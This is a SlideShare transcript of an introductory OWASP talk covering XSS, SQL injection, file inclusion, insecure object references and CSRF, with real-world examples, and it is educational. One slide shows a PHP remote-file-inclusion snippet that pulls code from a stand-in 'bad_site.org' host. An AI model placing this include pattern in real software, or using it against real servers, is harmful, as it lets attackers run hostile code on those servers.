Owasp Hacker Secrets Barcamp

Loading...

Flash Player 9 (or above) is needed to view presentations.
We have detected that you do not have it on your computer. To install it, go here.

1 comments

Comments 1 - 1 of 1 previous next Post a comment

Post a comment
Embed Video
Edit your comment Cancel

1 Favorite

Owasp Hacker Secrets Barcamp - Presentation Transcript

  1. Hacker’s Secrets Sharmishtha Gupta [email_address]
  2. Agenda
    • What is OWASP?
    • Web security vs Network security
    • OWASP Top 5
      • XSS
      • Sql Injection
      • Malicious File Execution
      • Insecure Direct Object Reference
      • Cross Site Request Forgery (CSRF)
  3. What is OWASP? Web security vs Network security OWASP Top 5
    • Open Web Application Security Project
      • Mission: An open community focused on web application security
  4. What is OWASP? Web security vs Network security OWASP Top 5
    • Global Community
    • Local Bangalore Chapter: http://www.owasp.org/index.php/Bangalore
    • Open source projects and tools to improve web application security
    • Open learning resources and forum on web security
  5. What is OWASP? Web security vs Network security OWASP Top 5
        • Network Security
    • Challenge is to restrict access to network and network resources (servers)
    • To protect data being exchanged over network from eavesdroppers
    • Mostly network layer stuff (packet filtering, firewalls etc)
    Attacker Web Server
  6. What is OWASP? Web security vs Network security OWASP Top 5
    • Web Security
    • Network is already accessible on port 80 (or other webserver port)
    • Challenge is to protect other network resources which are not exposed, e.g. information stored in db, other backend information
    Compromised Web Server Victim
  7. What is OWASP? Web security vs Network security OWASP Top 5
    • Top 5 webapp vulnerabilities
      • XSS
      • Sql Injection
      • Malicious File Execution
      • Insecure Direct Object Reference
      • Cross Site Request Forgery (CSRF)
  8. XSS Sql Injection Malicious File Execution Insecure Direct Object Reference Cross Site Request Forgery (CSRF )
    • When user provided data is used without validation and/or encoding
    • An attacker can execute a script in victim’s browser and hijack important user information without her knowing
    • Ex:
        • Alice sends a scrap to Bob on Orkut with a scriptlet.
        • When Bob opens his scrapbook, everyone in his network is sent spam scraps posing as Bob by the scriptlet.
  9. XSS Sql Injection Malicious File Execution Insecure Direct Object Reference Cross Site Request Forgery (CSRF )
    • A real example is “Samy worm” on MySpace.com discovered in October, 2005
      • http://namb.la/popular/tech.html
    • Demo
  10. XSS Sql Injection Malicious File Execution Insecure Direct Object Reference Cross Site Request Forgery (CSRF)
    • When user provided data is sent to an interpreter (here sql) as part of a command or query
    • An attacker can trick the interpreter into executing unintended commands or changing data
    • Demo
  11. XSS Sql Injection Malicious File Execution Insecure Direct Object Reference Cross Site Request Forgery (CSRF)
    • When user provided input is used for executing a remote code or loading local files
    • Allows attackers to include hostile code and data; can totally compromise the server
  12. XSS Sql Injection Malicious File Execution Insecure Direct Object Reference Cross Site Request Forgery (CSRF)
    • Most common sources of code injection are:
      • Dynamic paths/files used in require/include statements
      • eval(): A major source of code injection is the improper validation of eval() using user provided inputs.
  13. XSS Sql Injection Malicious File Execution Insecure Direct Object Reference Cross Site Request Forgery (CSRF)
    • <?php
      • //dynamic path
      • $_GET['path'] = ‘http://bad_site.org’;
      • include &quot;$_GET[‘path’]/header.inc&quot;;
    • ?>
  14. XSS Sql Injection Malicious File Execution Insecure Direct Object Reference Cross Site Request Forgery (CSRF)
    • If a developer exposes a reference to an internal implementation object, such as a file, directory, database record, or key, as a URL or form parameter
    • Attackers can manipulate those references to access other objects without authorization
  15. XSS Sql Injection Malicious File Execution Insecure Direct Object Reference Cross Site Request Forgery (CSRF)
    • Poor error handling is the main cause
    • Demos
      • Bad file inclusion
      • Sql connect failure
  16. XSS Sql Injection Malicious File Execution Insecure Direct Object Reference Cross Site Request Forgery (CSRF)
    • An attack that forces a logged-on victim’s browser to send a pre-authenticated request to a vulnerable web application
    • This can be as powerful as the web application that it attacks
  17. XSS Sql Injection Malicious File Execution Insecure Direct Object Reference Cross Site Request Forgery (CSRF)
    • Mostly when source of request is not validated
    • Gmail change password CSRF vulnerability disclosed by Vicente on 3 rd Mar 2009
      • http://seclists.org/fulldisclosure/2009/Mar/0029.html
    • Demo
  18. Visit
    • Webgoat from OWASP
      • Good to solve the puzzles by learning vulnerabilities
      • Good hints and solutions
      • Download from http://code.google.com/p/webgoat/downloads/list
  19.  

+ sharmishthasharmishtha, 8 months ago

custom

971 views, 1 favs, 1 embeds more stats

Introduction of OWASP, OWASP Top 5, Network Securit more

More info about this document

© All Rights Reserved

Go to text version

  • Total Views 971
    • 970 on SlideShare
    • 1 from embeds
  • Comments 1
  • Favorites 1
  • Downloads 16
Most viewed embeds
  • 1 views on http://www.tagyorit.com

more

All embeds
  • 1 views on http://www.tagyorit.com

less

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate. If needed, use the feedback form to let us know more details.

Cancel
File a copyright complaint
Having problems? Go to our helpdesk?

Categories